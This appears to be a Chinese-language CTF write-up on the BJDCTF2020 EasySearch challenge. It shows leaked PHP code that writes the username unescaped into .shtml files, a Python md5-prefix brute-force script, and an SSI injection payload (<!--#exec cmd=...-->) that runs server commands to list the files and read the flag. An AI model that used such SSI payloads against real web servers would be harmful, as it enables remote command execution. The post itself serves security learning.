V3D4's Blog

安全技术记录/分享/交流

0%

[BJDCTF2020]EasySearch

这道题是今年bjdctf第一次比赛的题,一道挺不错的简单题目,又学到了不少姿势。

扫描得到源码

首先打开题目是一个需要登录的页面,一开始还以为是SQL注入,尝试了一会也没啥结果,后来看了下wp才知道是swp泄露,于是访问index.php.swp看到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

这段代码的主要意思就是判断输入的password的md5的前6位是否等于'6d0bc1',如果等于的话,就将Hello,'.$_POST['username'].'写入到"public/".get_hash().".shtml"中,即将输入的username写入到一个shtml文件中

爆破md5

我们首先可以用下面这个脚本去爆破一下md5前六位为'6d0bc1'的字符串,当然这里选的是纯数字,刚刚好可以爆破出来,比赛的时候不知道有没有提示啥的

1
2
3
4
5
6
7
import hashlib
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
if md5(str(i)).startswith('6d0bc1'):
print(i)
break

最后得到的结果为2020666

然后我们就可以随便输个用户名去登录一下试试,发现是能成功登录的

1

还有一个要点就是写入的shtml文件名是随机的,经过一番寻找以后发现在network中直接给了我们文件名

2

去访问一下这个地址发现确实是写入了

3

SSI注入获得flag

那么怎么去获取flag呢?这里就是要用到SSI注入的知识了,这里直接引用大佬的解释

利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。

1
<!--#exec cmd="命令"-->

(SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

然后我们就可以在用户名中输入<!--#exec cmd="ls ../"-->

密码输入2020666去执行命令了

在上级目录发现了flag文件,读取就可以拿到flag

4

5

6